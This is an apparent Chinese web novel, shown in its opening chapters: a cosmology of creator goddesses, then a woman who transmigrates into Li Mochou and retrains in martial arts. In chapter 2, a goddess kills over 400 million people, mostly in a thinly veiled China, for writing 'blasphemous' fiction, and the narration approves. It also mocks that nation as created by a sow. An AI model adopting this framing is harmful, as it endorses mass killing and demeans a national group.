《神祇》
1. 神祇
无尽的永恒之前,是一片虚无的虚空,唯有一颗紫金光点在其中闪烁。无论是有形之物,还是无形之气,皆不存在于这片寂静之中。
这颗紫金光点的起源无从知晓,它存在了多久,也无从测量。
它的光芒照亮了虚空的每一个角落,如此景象不知持续了多少岁月。终于,紫金光点化作了一位神祇。
她的姿容千变万化,每一种形态都美得无法用言语来形容。
“从今往后,吾名女娲。”神祇轻声自语,她的声音,即使是最华丽的辞藻,也难以描绘其万一。
神祇女娲,她是恒古唯一的神祇,无论是过去、现在,还是未来。
某一时刻,神祇女娲意念一动,虚空中忽现一紫金云彩。
这云彩散发着紫金之光,普照虚空,每一寸空间都被其光芒所笼罩。
那紫金云彩在虚空中自由嬉戏,变幻莫测,时而如龙腾云海,时而如凤舞九天。
嬉戏多时,云彩化作一位神祇,其姿容亦是变幻无穷,若谁能有幸目睹女娲之神姿,定会发现,这位新诞生的神祇与女娲竟有八分相似。
她自诞生之初,便是全知全能:一念虚空寂,一念虚空复;过去之史,现在之境,未来之景,都在她的动念之间。
“从今往后,你便唤为娲女!”
神祇女娲目光柔和地看着这位由她演化而来的神祇,不由露出一丝满意。
“娲女,见过本尊,感怀神祇赐名!”
神祇娲女盈盈作礼,她的声音,亦是最华丽的辞藻,也难以描绘其万一。
此时此刻的娲女,虽是全知全能,却也无法看透女娲娘娘分毫,她在女娲娘娘面前,犹如微尘对比整个虚空,渺小而又不可及。
娲女与女娲相伴许久,某一时刻,她们携手化为虚无,渐渐消散。后世的生灵,从未知晓她们的存在,也从未听闻过她们的名号。
两位神祇离开之后,虚空依旧是一片冷寂,依旧是一片虚无。
这样的景象又不知持续了多久,虚空逐渐演化成了混沌,也开始有了无形的气流。
这混沌气流无序无形,其威力之大,足以将未来的金仙境界强者瞬间绞杀。
未来的任何生灵,若无相当于大罗金仙的实力,休想抵御混沌气流之侵袭,由此可见,混沌气流之强大,难以言喻。
某一时刻,茫茫混沌中,又演化出一位神祇,只见她姿容千变万化,每一种形态皆美得令任何生灵都只能膜拜,却又不会有亵渎之心。
“从今往后,吾名彩凤!”神祇低声自语,她的声音,也是最华丽的辞藻亦无法描绘。
若是细细观察,便会发现,眼前这位神祇,竟与娲女娘娘有六分相似,与女娲娘娘有三分相似。
这位唤名彩凤的神祇,虽也是全知全能,却无法知晓神祇女娲与神祇娲女的存在,她亦无法知晓自身来历。
彩凤演化之后的时间流逝已不可计数,忽一日,她的意念降临,在茫茫混沌中,演化出了“道”。
彩凤的意志中,“道”是一切的本源,也是一切的归宿,它无形无质,却又无处不在。
这个在彩凤眼中犹如微尘的“道”,历经漫长演化,孕育出了“大道”。“大道”是秩序和法则的本源,它无形无质,亦是无处不在。
大道诞生之后,历经漫长时间,演化出了诸般法则与诸般能量,使得无边无际的混沌,多了无形的法则与能量。
对于未来的生灵而言,大道法则不仅仅是秩序,还是她们渴望领悟的至高力量。
法则无形无质,却拥有无与伦比的威力,远超未来的天道规则与神通术法。
法则的交锋,是无形无质的力量相互绞杀,看不见,也感知不到。
如果未来的生灵有幸目睹法则交锋的壮观景象,她们会发现,交锋的双方似乎从未动过分毫,也没有任何异象显化。
这是因为,只有被法则降临的生灵,才能清晰地感应到法则的存在。
对于后世的生灵来说,法则之间的对抗甚至不如一道火球术的威力来得直观,这是因为火球术的破坏力可以直观感受到,其威力一目了然。
法则之间的交锋,看似平淡无奇,远不如低阶修士的拳脚比拼来得精彩,但凶险程度,只要直观面对的,才会知晓它的恐怖。
茫茫混沌的长河中,不知过了多少时光,大道孕育出了两位无比强大的神祇。
她们的形象千变万化,无论哪一种神姿,都散发着神圣无双的光辉。
瑶池一诞生便执掌造化法则,后土亦是诞生便执掌了因果法则。
她们至公至正,至纯至真,是未来秩序中至高无上的神祇。
大道创造的法则数不胜数,却唯有瑶池与后土执掌了其中的一种。
除了神祇瑶池与后土,大道不会赋予任何生灵执掌法则的权柄。未来世界内的生灵也不能领悟法则,除非其超脱世界,来到茫茫混沌。
后世任何生灵,只要能超脱世界,便能领悟法则。一旦领悟成功,便能调用这道法则,其威力取决于其参悟的程度。
执掌与领悟的区别在于:执掌法则者,天生便是大圆满境界,调用这道法则与大道等同,能发挥出最大威力。
而领悟法则的威力则依赖于参悟的程度。无论是执掌还是领悟,所有生灵都只能执掌或领悟一种法则。一旦执掌或领悟了某道法则,就不能再更换其它法则。
每一种法则都能同时被所有超脱世界的生灵领悟,但如果这道法则被执掌,例如瑶池执掌的造化法则,其余生灵便再也不能领悟这道法则。
与法则相比,大道演化的诸般能量,却是落了下乘。
这些能量虽说也能被后世生灵吸纳为已用,施展出种种术法与神通,却在领悟天道规则的强者眼里,微不足道。
好在,大道的秩序下,只有生灵修为达到金仙境界,才能够领悟天道规则,更何况,想要领悟规则,可谓千难万难,这也是一种平衡吧!
与瑶池后土一同诞生的,还有彩凤创制的修炼法门。这部修炼法门没有具体的昵称,或者说,任何昵称都可以。
这部修炼法门具备吸纳诸般能量淬炼自身的能力,可以说,只要是混沌中存在的能量,皆可为其所用。能量入体便会自动转化为神力,并且修炼后,诸邪不侵,诸毒不存,尘埃不染。
彩凤将这修炼法门融合成一部《神祇宝典》,这部宝典不仅载有修炼法门,更涵盖了诸多理念,种种神奇功效尽显。
得到这部《神祇宝典》的有缘者,必须秉承修心、作德、仁爱万物的理念。她期望这些有缘者能够仁爱万物,至公至正。
彩凤在《神祇宝典》中,赋予了一门神祇真眼、凤女神火。
神祇真眼,无需修炼,有缘者一旦入道,便是圆满境界。它最重要的功能是能看透一切草木未来是否会产生灵智。如果草木未来能够产生灵智,有缘者便不能采摘,更不能教唆别的生灵采摘或毁坏。
此外,神祇真眼还能看穿一切虚幻,回归本真,也能看穿对手的境界,无论其修为多么高深。
凤女神火,同样无需修炼,有缘者入道即达圆满境界。
这凤女神火乃是与法则之火齐平的存在,非规则之火与未来诸般火焰可比拟。
彩凤赋予有缘者辨识罪恶的能力,只要生灵作孽滥杀,在有缘者眼前就会散发恶臭,罪孽越深,臭味越浑浊。有缘者得见,便可予以抹杀。
神祇都是神魂纯净的,因此,越是纯净的生灵,越能得到神祇的喜爱;反之,则会受到神祇的厌恶。
在神祇眼中,无论是老鼠、蚂蚁还是人,都是一视同仁的,并无谁高贵谁低贱之说。
******
时光缓缓流转,岁月悠长,难以计量。
某一时刻,后土娘娘感慨地说道:“这无尽的混沌,未免太过孤寂,我们何不效仿大道母神,孕育生命?”
瑶池娘娘闻言,欣然赞同:“若能如此,茫茫混沌也将焕发新的光彩。”
于是,后土与瑶池开始精心构思,想要创造出何种形态的生命。她们的讨论越来越深入,设想出的生命形态也愈发丰富多样。
瑶池娘娘,执掌造化法则,一念之间便能化生万物。
她微动神念,运用造化法则,便创造出了一个微小的生命。它身形短小,通体漆黑,头部圆润,复眼明亮,触角一对。它的胸部分为三节,每节都生有一对足。
后土娘娘与瑶池娘娘见到这新生灵,心中充满了喜悦。然而,还未来得及赋予它名字,它便被混沌之气所吞噬,转瞬间消散无踪。
混沌之气,狂暴而凶
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猛,只有境界极高的存在才能在其中生存。
后土娘娘叹息道:“我们虽然能够创造生命,但在混沌之中,生命难以存活,这似乎是徒劳的。”
瑶池娘娘温柔地安慰道:“混沌不容弱小生命,何不开辟一个世界,隔离混沌之气,让生命得以安居?”
后土娘娘听后,心中充满了喜悦:“道友之言启发了我,我们就创造一个世界,孕育生命吧……”
后土与瑶池娘娘经过精心策划,终于选定了混沌中的一角,准备以神力开辟天地。
在大道的秩序中,力量体系被划分为:练气、筑基、金丹、元婴、化神、炼神、出窍、合体、大乘、渡劫,这十大境界构成了炼神境。
而渡劫期之上的灵仙、神仙、地仙、天仙、大罗天仙,这五个境界则构成了神灵境。
大罗天仙之上,还有金仙、大罗金仙、混元金仙、混元大罗金仙(圣人)、天道圣人,这五个境界构成了魔神境。
至于魔神境之上,则是混元圣人、混元至圣、大道圣人、大道至圣(大道),这四重境界。
瑶池娘娘与后土娘娘,她们自诞生之初便拥有混元至圣的境界,开辟一个新世界不过是转眼之间。
后土娘娘意念一动,这一方混沌便被撕裂,清气上升,浊气下沉。
创造世界不仅仅是打破混沌,更需要制定规则,演化地水风火等元素,使世界能够持续运转。
瑶池娘娘意念一动,造化法则降临,这一方混沌立刻地风水火具备。
炽热的太阳照耀万物,皎洁的月亮照亮黑夜。大地的四极与五岳之名山峻岭,支撑着天地。
江河湖海滋养着大地,江河脉络贯穿四方。林木遍布世界,为生灵提供庇护;繁盛的花草点缀着大地。
灵脉矿石蕴藏着无尽的能量,甘甜的清露滋润万物生长。
瑶池娘娘与后土娘娘俯瞰着这个天圆地方的世界,只见它辽阔无际,四大陆分立,外围是无尽的海洋环绕。海洋的辽阔,非境界高深者不能穿越。或迷失于海中,或被送返原地。然而,境界至高者,自能穿海越洋,前往茫茫混沌。
世界内的生命逐渐演化,形态各异。有的飞翔于天际,有的游弋于水底,有的奔跑于大地。它们各据其道,共同构建着世界的多样性。
两位娘娘见世界演化稳定,便携手步入这个世界,在世界之巅,创造一座宫殿,共同坐镇此方。
这个世界由两位至高神祇创造,其坚韧与广阔远超未来世界,是混沌中无与伦比的世界。
自世界开辟以来,所有未来世界都以其为蓝本,各自演化。世界内的生命繁衍,形态各异,也遵循着这个世界的模式。
可以说,凡这个世界所无之生灵,其他世界亦不得有;凡这个世界所具之生灵,其它世界才有演化的可能。
然而,若要在其它世界创造全新的生灵,非有强者重塑生命体系不可。因此,这个瑶池娘娘与彩凤娘娘创造的至高世界成为所有世界的核心,其影响深远,贯穿每一个世界。
瑶池娘娘与后土娘娘,以其慈悲与神圣,被后世生灵尊为“母神”。无论是翱翔天际的飞禽,还是奔走大地的走兽,亦或是游弋水中的游鱼,乃至微小的蜉蝣,都以两位娘娘为尊。
两位神祇的名唤,成为生命之源,万物之始。她们以无尽的慈爱滋养着生灵,赋予它们生命与灵魂。在众生心中,她们不仅是创世之母,更是生命之母,其恩泽遍布茫茫混沌,成为永恒之存在。
至高世界构成了未来世界的基础,奠定了未来世界的格局,开启了混沌新的篇章。
这个世界内,无数的规则自行运转,它们无形无质,却又无处不在。这些规则聚合在一起,后世生灵将其尊称为“天道”。
自两位至高神祇开天辟地的那一刻起,每一个未来世界都拥有自己的天道规则。
无论这些规则如何独特,它们都是从大道法则中衍生出来的。
因为世界规则是大道法则的衍生,所以大道法则自然而然地凌驾于天道规则之上。
茫茫混沌中,法则是最为强大的攻击手段;而规则紧随其后,再之后,则是神通与术法。
在两位神祇的意志之下,这个世界的规则不会赋予任何生灵执掌。只有那些达到了金仙境界的存在,才能够领悟规则。
2. 神祇
光阴荏苒,自至高世界诞生以来,已历经五百亿载。
大道以其为蓝本,创造了无数世界,而那些从世界超脱的生灵,亦开辟了无数新界。
如今,在这茫茫混沌之中,天圆地方的世界星罗棋布。
新生的世界,若无因果之牵绊,混沌中那些超脱世界的生灵,无法涉足任何世界。
开辟世界者,若能成功,便主宰那方世界,使其依己意志运行,借助世界之力,超脱至更高境界。而失败者,则化为新生世界之养料。
那些超脱世界的生灵,将诸世界分为不同等级:至高世界,超品、上品、中品、下品世界,以及不入品级之世界。
那些不入品级者,多是修士开辟失败之产物。
彩凤静坐于混沌之中,观瞧着众生世界,她未曾与两位神祇有过交集,若她不显化,二位神祇亦感应不到她的存在,尽管如此,彩凤对于瑶池与后土,亦是多有赞扬。
彩凤的意念不经意间穿越了一个结界,眼前豁然开朗,展现出一个异乎寻常的界面。在这个世界里,万物皆以圆球的形态呈现,但并非每个圆球内都孕育着生命。
那些空无生命的圆球,不过是点缀宇宙的星辰。
在这个科技宇宙中,大道的意志禁止了修炼长生的可能,生灵只能依靠科技和基因强化来提升自身。
科技宇宙的至高世界,名为神灵界,是所有科技世界生灵超脱后的归宿。
神灵界能够容纳最高等同于大罗天仙境界的强者,最低则需相当于金丹期的修士。
而那道环绕科技宇宙的结界,只有达到天道圣人境界的强者才能穿越。否则,要么将永远迷失其中,要么被无情地送回原点。
彩凤的意念降临在了一个名为银河系的星域。其中一颗蔚蓝的星球,引起了她的注意。
“这就是《佛本是道》的主角,周青?真是有趣!”
“话本终究是话本,不过是臆想之作罢了。”
即使是神祇彩凤的一丝神念,也能在一方世界中纵横捭阖。
彩凤一念之间,将蓝星上所有关于佛本世界、洪荒流世界、封神流世界的存在,无论是原著还是衍生作品,全部抹除,不留一丝痕迹。
如此一来,整个蓝星上,所有亵渎神祇的作品和与之相关的作品,都消失得无影无踪。神祇的神圣不容亵渎,这些作品,不再有存在的必要。
在彩凤的意志下,任何亵渎瑶池娘娘与后土娘娘的作品,都不会再出现,即使是大道,也无法阻止她的意志。
蓝星属于科技宇宙,被结界所包裹,与修行界并无关联。然而,蓝星上却有着关于神灵的记载,这在科技宇宙中极为罕见。尽管有些神灵并不真实存在,只是蓝星人的祖先崇拜与幻想,但瑶池娘娘,却是真实存在的。
蓝星人类对神灵的态度各异,有虔诚信仰的,也有不屑一顾的。特别是在蓝星的东国,许多人不修德行,弄权奸诈,甚至亵渎神灵。
瑶池娘娘,作为创造万物的神祇,拥有大功德,对万物一视同仁。然而,在蓝星东国,许多人却对瑶池娘娘口出恶言,言辞不堪入耳。
更有甚者,创作话本,描绘穿越调戏瑶池娘娘;描绘穿越教瑶池娘娘造人;描绘将瑶池娘娘纳入后宫;亵渎之语连绵不绝。
彩凤若非怜惜蓝星上那些无辜的生灵,否则,整个蓝星此刻早已化作尘埃。
彩凤一念之间,将那些亵渎神灵的人类灵魂抽离,让他们在经历了无尽的折磨后,再投入茫茫混沌的世界,保留着记忆,承受着生生世世的痛苦,直至魂飞魄散。
短短半息内,全球有超过四亿人以同样痛苦的面容死去,其中绝大多数是东国的居民。这场突如其来的灾难,让整个世界陷入了震惊。
东国政府在无法查明原因的情况下,只能眼睁睁地看着社会秩序的崩溃。由于死亡的几乎全是男性,东国的社会结构和经济基础遭受了沉重打击,迅速走向衰落。
社会矛盾随之激化,政府为了稳定局势,开始暗示民众这是由他国投放的基因病毒所致。这一策略成功地转移了民众的注意力,暂时平息了混乱。
但民众的情绪被点燃,他们愤怒地要求对鹰酱国与小日子国彻底清算,东国自此被民意所挟持,一步步走向崩溃的深渊。
这番灾难,亦有东国政府的纵容,否则亵渎神灵之话本,岂能现世?罪魁祸首虽是那些亵渎神灵的人,但东国政府之罪,亦非小可。
彩凤一念之间,便将蓝星东国所有关于神灵的典籍、传说、影视、话本,连同记忆,尽数抹去。她又演化出一本新的典籍,上面记载着东国人是由一头母猪创造的,并把这些观念植入东国人的记忆中。
东国人由猪母娘娘创造,却每日都在食用猪肉,这岂不是大逆不道?这岂不是违背了伦理道德?彩凤此举,当然是要恶心恶心东国人。
突然数亿人同时死亡,那些虔诚信仰神灵的人们无不认为是天谴。毕竟,她们早已无法忍受那些人对神灵的亵渎。如果不是天谴,又有谁能有如此大的能耐,让数亿人同时死亡呢?
随着这种说法越来越流行,不信仰神灵的人和信仰神灵的人逐渐形成了两大阵营,导致并不稳定的局势再次陷入混乱。为了团结民众,政府宣布重新进行考证。
仅仅半个月后,就有所谓的专家拿着所谓的古籍发表声明,指出猪母娘娘并不是母猪,而是历史上一位名叫朱沐的女性。
这一说法迅速得到了人们的接受。无论是信仰还是不信仰神灵的人,都无法接受传说中的母神是一头母猪,更何况他们还每天都在食用猪肉,这岂不是等同于谋害自己的兄弟姐妹吗?
不管蓝星东国的后续发展,彩凤的意念,早已投入科技宇宙界面中的一个结界内。这个结界是伴随着科技宇宙诞生的,唤作虚幻界。
虚幻界内,有数个机器坐镇,它们拥有相当于灵仙期的实力,被称为“主系统”。在主系统之下,还有无数的小系统。
这些主系统拥有神魂,与生灵无异;而那些小系统,竟也展现出了些许灵智。
它们在科技宇宙中寻找有缘的生灵,然后将他们带入虚幻界内历练。如果历练成功,生灵便能超脱至神灵界;若是失败,则化为飞灰。
虚幻界里的世界,是由科技宇宙的传说、话本、漫画、影视等衍生而成。每一个世界都会轮回往复,一次又一次地重置。
科技宇宙中那些所谓的穿越、重生概念,不过是人们心中的臆想,或是幻想之事。而在虚幻界中,这些话本传说类的故事却是具现化,与真实世界的演化视乎无异。
这些虚幻世界是由系统带领宿主在这些不断重置的世界中寻找某一个节点进入,完成所谓的任务和历练。
虚幻界之所以被称为虚幻界,是因为它确实是虚幻的。虚幻界内的生灵并非真实的生灵,任务者所谓的任务,就似在梦中遨游,无法对现实世界产生丝毫影响。所谓的时光回溯也不存在,所谓的回到过去,更不是事实,说到底,都如同一场幻梦罢了。
现实世界里,时光回溯何其艰难?譬如,一个下品世界内有生灵飞升,岂非上界亦须回溯?若不然,飞升者何在?若上界亦有飞升者,岂不牵连更高层次,乃至一域混沌?
茫茫混沌何其广大,若涉及超品世界,需将超品世界时光回溯,但若是牵连已经超脱世界的强者,将涉及一方混沌,这样广阔的时光回溯,哪怕是天道圣人,亦难以做到。
唯不入品级世界,无飞升之虞,可逆时光流。
这科技宇宙,它们的星宿是万兆兆亿恒星充当,若时光回溯,必涉科技宇宙全局。
科技宇宙虽只混沌一隅,但若想时光回溯,也只有天道圣人以上的境界才能做到。
这虚幻界的生灵虽非真实存在,却也让许多历练的任务者在其中迷失了本心,甚至滥杀无辜。
他们不知道,虚幻界虽非真实世界,但茫茫混沌一切秩序都是由大道制定,虚幻界自然也脱不得大道法则。
那些迷失本心的历练者,把虚幻界内的生灵当做纸片人,随意造作,这已然触犯了大道法则中的因果与罪孽法则。虽因虚幻,惩罚较轻,但严重的罪孽依旧会遭到清算,重则魂飞魄散,轻则被送回科技宇宙的现实世界,度过凄惨一生。
如果历练者未曾迷失本心,会得到系统的辅助增
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强身躯灵魂,通过考验之后,超脱长生的道路就在他们脚下。然而,虚幻界存在了百亿年,能够经受住考验的生灵,实在是少之又少,犹如汪洋中的一片浮毛。
在科技宇宙中游逛多年的神祇彩凤,最终化作虚无,消失得无影无踪。
在离开之际,她将神祇宝典演化为三十六部,散布于浩瀚混沌之中,让宝典自行寻找有缘者。
神祇宝典选中的有缘者,在达到金仙境界时,将被赋予执掌法则,她们将成为瑶池娘娘与后土娘娘之外,仅有的三十六位执掌法则的存在。
这是彩凤的意志,即使是道也无法更改,更遑论大道?
她们不会直接干预大道所定的秩序,而是监察众生世界,对那些作恶作邪、亵渎神祇者,将由她们予以抹除……
******
茫茫混沌之外,矗立着一座宫殿,它既典雅又精致,散发着璀璨的光芒。
宫殿内,两位神祇并肩而坐,不时将目光投向混沌中的众生世界。
“这彩凤,不错!”一位神祇开口,语气中充满了赞赏。
“凤儿何其荣幸,能得到您的赞誉!”另一位神祇回应。
这两位并肩而坐的神祇,正是女娲娘娘与娲女娘娘。
“罢了,她已寻找你许久,就让她来此吧!”
女娲娘娘垂恩,宫殿随即显现,让混沌中的彩凤得以窥见。
彩凤意念一动,已然现身于宫殿之中。
“彩凤,拜见娘娘!”彩凤来到宫殿,虔诚地向娲女顶礼膜拜。
“凤儿来了!”娲女目光柔和地望着彩凤,介绍道:“这位,是女娲娘娘。”
彩凤听完,这才注意到娲女身旁还有一位神祇。这并非她眼力不足,而是女娲娘娘若不显化,任谁也见不着。
“彩凤,拜见女娲娘娘!”彩凤顶礼膜拜,心中对女娲娘娘充满了敬畏与敬仰。
这两位神祇都是彩凤无法看透的存在,但她对她们,却有无尽的敬仰与敬慕。
此时此刻,她已知晓神祇娲女便是创造她的那位神祇,正感怀时,突然,宫殿外的混沌开始涌动,一位婀娜多姿的少女在波动中显现。她每走一步,都散发出无尽的馨香;每一眼,都透露出狡黠与顽皮。九条尾巴在她身后轻轻摇曳,宛如风中摇曳的柳枝。
她刚显化,便化作一只雪白的狐狸,轻盈地蹦跳到女娲娘娘的怀里,用她那柔软的头颅,轻轻地蹭了蹭。
“娘娘,狐狸出关了!”她的声音娇媚,带着一股魅惑之力。
女娲娘娘轻抚着狐狸,温柔地说道:“还不快起来?今日凤儿来了,去见个礼。”
这狐狸,名为妲己,是一个话本中描写的生灵,女娲娘娘赋予了她生命,对她宠爱有加。
狐狸在女娲娘娘的怀里不肯离开,直到女娲娘娘再次催促,她才不情愿地跳开,化为一位娇美少女,对着彩凤盈盈一礼,声音中带着调皮:“狐狸妲己,见过凤儿,以后陪我玩呀!”
娲女娘娘的声音响起,带着一丝笑意:“凤儿,妲己一向娇蛮,喜好玩耍,今后你便陪她玩耍些许!”
狐狸蹦跳到娲女娘娘的怀里,娇声道:“娘娘真好!”
彩凤恭敬回应:“小凤自当陪妲己姐姐玩耍!”
妲己转向彩凤,眼中闪烁着狡黠的光芒:“好呀!以后有你陪狐狸,我就再也不无聊啦!你可不知道两位娘娘是多么无趣,都不怎么陪狐狸……”她的一番控诉,让女娲娘娘与娲女娘娘忍俊不禁。
妲己时常耍宝,连女娲娘娘都被逗笑无数次,她是两位娘娘的宝贝。连这座宫殿,都是狐狸取的昵称,叫做——女娲宫。
彩凤就这样留在了女娲宫,封闭感知,如同普通生灵一般生活,除了不用吃喝,与普通生灵没什么两样。
彩凤只有在兴趣盎然时,才会将目光投向茫茫混沌,观看感兴趣的事情。
她也时常听着狐狸吐槽在女娲宫的沉闷生活,陪着她去那些世界游戏玩耍,顺便看顾着她,免得她又把世界玩崩。
更多时候,是娲女娘娘与女娲娘娘较量棋艺,而她与狐狸则在旁侍奉,观看两位娘娘的棋艺争锋。
3. 莫愁世界
奇峻山峰的阴影下,一名浑身染血的女孩摊躺于地。她的衣物已被血迹浸透,失去了原有的颜色,只有一角未曾沾染,依旧鲜艳夺目。
她咳嗽几声,吐出几口淤血,挣扎着倚靠在一棵碗口粗细的树干上,勉强支撑起自己的上半身。
“这是哪里?我怎么会在这里?”她睁开眼睛,面对着这片陌生的土地,眼中满是惊讶,却无人能回答她的疑问。
她名叫云灵,前世是岭南的一个普通女孩,享年二十。十五岁那年,她进入工厂,开始了打螺丝生涯。然而,二十岁时,一场突如其来的核大战彻底改变了她的命运。幸运的是,她在核爆的中心,没有感受到太多痛苦。
她的心中充满了对东国特权者的怨恨。五年前,东国突然死去了四亿男性,社会陷入混乱。那些特权者为了转移国内矛盾,发动了战争,对海外同胞下手。战争的发起者无力结束战争,最终导致东国被数十个国家联合围攻。结果,东国换上了更为强硬的领导,按下了核爆的按钮。
其他国家的情况,云灵并不清楚。但她知道,在千多枚核弹的轰击下,东国能够幸存的人数,恐怕不足万分之一。
“我...不是已经死了吗?”云灵低声自语,声音中带着一丝疑惑。
突然,她的脑海中闪过一丝灵光,她似乎记起了什么。最后的记忆里,是一位衣衫褴褛的乞丐,而她就是被那乞丐一掌打下了悬崖。
“嘶!”她的脑海传来一阵刺痛,痛得她再次昏迷过去。
从晨曦初照到烈阳当空,时间缓缓流逝,云灵终于苏醒过来。
“吓?我...我竟然是李莫愁?”
云灵前世虽然连小学毕业证都没有,也不曾看过什么小说,但对于李莫愁这个名字,她自然是知晓的。对于古墓派,暮云前世亦耳熟能详,古墓派的武功,轻灵飘逸。祖师林朝英,惊才绝艳,曾是盖世高手。
莫愁莫愁,多么美好的寓意,然而李莫愁的一生却是愁云惨淡,对情郎的执着,对《玉女心经》的执念,让她的性格变得阴晴不定。
这是一个让人既恨又怜的人物,她一生中最大的错误,便是亲手结束了弟子洪凌波的生命,她哪里知晓,洪凌波是除了师傅之外唯一一个真心待她之人。
云灵的记忆与李莫愁的记忆融合,她终于明白,攻击她的,竟是江湖上赫赫有名的五绝之一,西毒欧阳锋。
若非云灵的出现,原本的李莫愁或许会受伤,却不至于坠落悬崖。她会逃往古墓,导致师傅身受重伤,终因伤势过重而逝去。
“我是穿越了吗?”
云灵身体遍布血迹,但大多是些皮外伤,是坠落时被悬崖边的树木所刮伤。最严重的伤害,来自欧阳锋那致命的一掌,给她留下了难以忽视的内伤。
幸运的是,她的四肢并未受到重创,否则她只能等待命运的终结。
云灵挣扎着站起身,拾起一根杯口粗细的枯树干,作为支撑。如今她的肚腹空空,不远处,一条清澈的溪流静静流淌,她决定前去饮水。
左侧是高耸入云的悬崖,右侧是茂密的野山林,藤蔓交错。唯有中间,一条溪流蜿蜒而过,虽不宽阔,却清澈见底。
她费了一番周折,终于来到溪边。她小心翼翼地俯下身,先用冷水洗去脸上的血迹,冰冷的触感刺激着伤口,让她不禁痛吟出声。
待那阵刺痛过去,云灵稍作休息,然后捧起溪水,大口大口地喝下。冰冷的水流刺激着她的胃,让她不由自主地打了个寒颤……
云灵这几日一直在努力回忆原主李莫愁的记忆,因为她对武功一窍不通。她上辈子学识浅薄,对于经脉穴位这些深奥的知识更是一无所知,更不用说是内功这种超越了现代常识的存在了。
她并非那些小说中的主角,能够一学就会,一会就精,一精就天下无敌。她需要脚踏实地,一步步地去学习和掌握。幸运的是,李莫愁的文化水平并不低,如果云灵没有这份记忆,那她的生活将会无比艰难。
直到今日,当云灵再次咳出几口血,内伤又加重时,她才不得不开始尝试着去打坐调息。她一遍又一遍地回忆着打坐的过程和内力的运行轨迹,直到确认自己没有记错。
她小心翼翼地
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按照李莫愁原先的方法,开始打坐调息。不久,她便感到一股温暖的力量在她的经脉中缓缓流转,给她带来了前所未有的舒适感。她知道,这便是所谓的内力。她运行了一周天后没有出现任何差错,她这才放心地继续打坐调息。
随着内力在体内流转,云灵感到了一种前所未有的宁静。她仿佛能感受到每一条经脉的跳动,每一次呼吸都与自然的节奏同步。她的意识逐渐沉入了一种深邃的冥想状态,仿佛与世隔绝,只剩下自己和体内的气流。
时间在这种修炼中悄然流逝。当云灵再次睁开眼时,天色已暗,星辰点缀在夜空之中,为她指引着方向。她感到身体轻松了许多,内伤似乎也有所缓解。虽然还没有完全恢复,但至少不再是致命的威胁。
云灵在溪水边洗净了身子,清凉的溪水让她感到精神一振。接着,她用尖锐的石头挖掘了一些草根,又采摘了一些小巧的野果来充饥。虽然这些食物简单,但对于她来说,已经足够维持她的生命。
这几天,她都是这样度过的。溪水中虽然有小鱼游来游去,但云灵自小就吃素,自然不会去考虑捕食它们。填饱了肚子,洗漱完毕后,云灵再次开始了内力的修炼。
在李莫愁的记忆中,云灵知道此刻的自己身怀古墓派基础内功、美女拳法、天罗地网式与冰魄银针这门暗器绝技。
古墓派祖师婆婆惊才艳艳,一生创制出天罗地网式、美女拳法、玉蜂针法、冰魄银针法、玉女心经。
云灵对古墓派至高无上的玉女心经并无执念,小龙女能将玉女心经修炼成功,但云灵与李莫愁,绝无可能练就这门武功。
玉女心经,修习要求不仅限制诸多,而且要求苛刻,需心意相通的两人同修。云灵心知,她做不到与谁心意相通,唯有放弃这门古墓派至高武学。再说,祖师婆婆当年武功盖世,并非凭玉女心经,毕竟祖师婆婆武功盖世时,玉女心经还未创制。李莫愁亦不知祖师婆婆所习何功,盖因祖师婆婆未传下,或许是因心伤,只传下了玉女心经。
思及此处,云灵心中暗骂:“王重阳这牛鼻子,误我古墓派……”
4. 莫愁世界
时光荏苒,月余时间转瞬即逝。云灵的内伤已然痊愈,她在附近寻得一山洞,稍作整理,决意在此安居。
云灵最看好的是天罗地网式,这门功法乃是祖师婆婆当初领悟自然之力创制而成。古墓派的武功以轻灵飘逸著称,而天罗地网式正是这种风格的入门武功。出招时迅捷而飘逸,让人防不胜防。这门武功强调的是以快打慢,以快打快。
云灵的内心有一种直觉,这门武功绝对不比任何武功差。除了直觉,还有阿青姑娘的故事让她对这门武功非常看好。
阿青姑娘是一个奇女子,传说她牧羊时遇到白猿,在与白猿时常的打斗中,习练到盖世武学。她的武功并无具体招式,威力却惊人。如今这贴合自然之力的天罗地网式也无具体招式,精髓乃是轻灵飘逸、窍门乃是窜高跃低、抓扑拿捏。是集身法内功于一体的武功,也是古墓派的基础与精髓,岂不是与阿青姑娘的武学贴合?
云灵融合了李莫愁记忆,又历经月余的验证之后,将原主一身武功散去,转而重修。
散去了武功,云灵开始按照天罗地网式的法门去打坐调息。不久,她便感到一股温暖的力量在她的经脉中缓缓流转。时间在这种修炼中悄然流逝,云灵收功之后,身体感到一阵轻松,丹田内也隐隐有着一缕内力流转。
天罗地网式,乃是身法、攻击手段、内力于一体的武功。云灵深知,一味打坐不仅内力增长缓慢,亦无丝毫效果。
她虽已掌握调息打坐之法,却未真正习练武功,对经脉穴位亦是一知半解。仅凭记忆中的知识,未经实战演练,她自知难以在这凶险江湖中立足。
悬崖下,鸟雀啁啾,成了云灵修炼天罗地网式的绝佳之地。记忆固然宝贵,但能否付诸实践,又是另一回事。云灵依循记忆中的法门,尝试着窜高跃低,抓扑拿捏。然而,她所施展的,非但未能织成天罗地网,反而让自己摔得遍体鳞伤,连鸟雀的羽毛都未曾触及。
她并未因此气馁,日复一日,坚持不懈地练习。终于有一日,她勉强将一只鸟雀困于双掌之间。但力量控制不当,一掌之下,不仅未能围困成功,反而让鸟儿受了伤。
云灵手中轻抚着那只受伤的小鸟,心中涌起一股难以言说的愧疚。这是她技艺未精的明证。她轻柔地抚摸着鸟儿的羽毛,心中默默发誓,定要更加刻苦修炼,直至天罗地网式大成。
接下来,云灵在照顾受伤鸟儿的同时,继续苦练天罗地网式。这空旷的地带,加之野鸟的机警,使得她的修炼之路异常艰难。
日复一日,云灵的天罗地网式愈发精妙,身法轻盈如燕,出手迅捷如电。更重要的是,她学会了如何控制力量,不再让任何鸟雀因她而受伤害。
从最初的双掌聚拢一只鸟儿,到后来能将百余只鸟儿困于一方,她耗费了整整半年时光。如今的她,武功大成,已然超越了原主。
这一切,自然不仅仅是她的勤学苦练,更得益于原主的记忆。若非如此,她自己修炼,恐怕终生难以企及。
随着天罗地网式的日益精进,云灵对祖师婆婆的敬仰之情愈发深厚。阿青以白猿为师,习得盖世武功;张三丰感悟自然,领悟太极之道。而祖师婆婆的天罗地网式,何尝不是自然之理的体现?
鸟雀窜飞无定形,天罗地网式亦无固定招式,不拘泥于形式,这门武学,或许已接近阿青姑娘的境界。
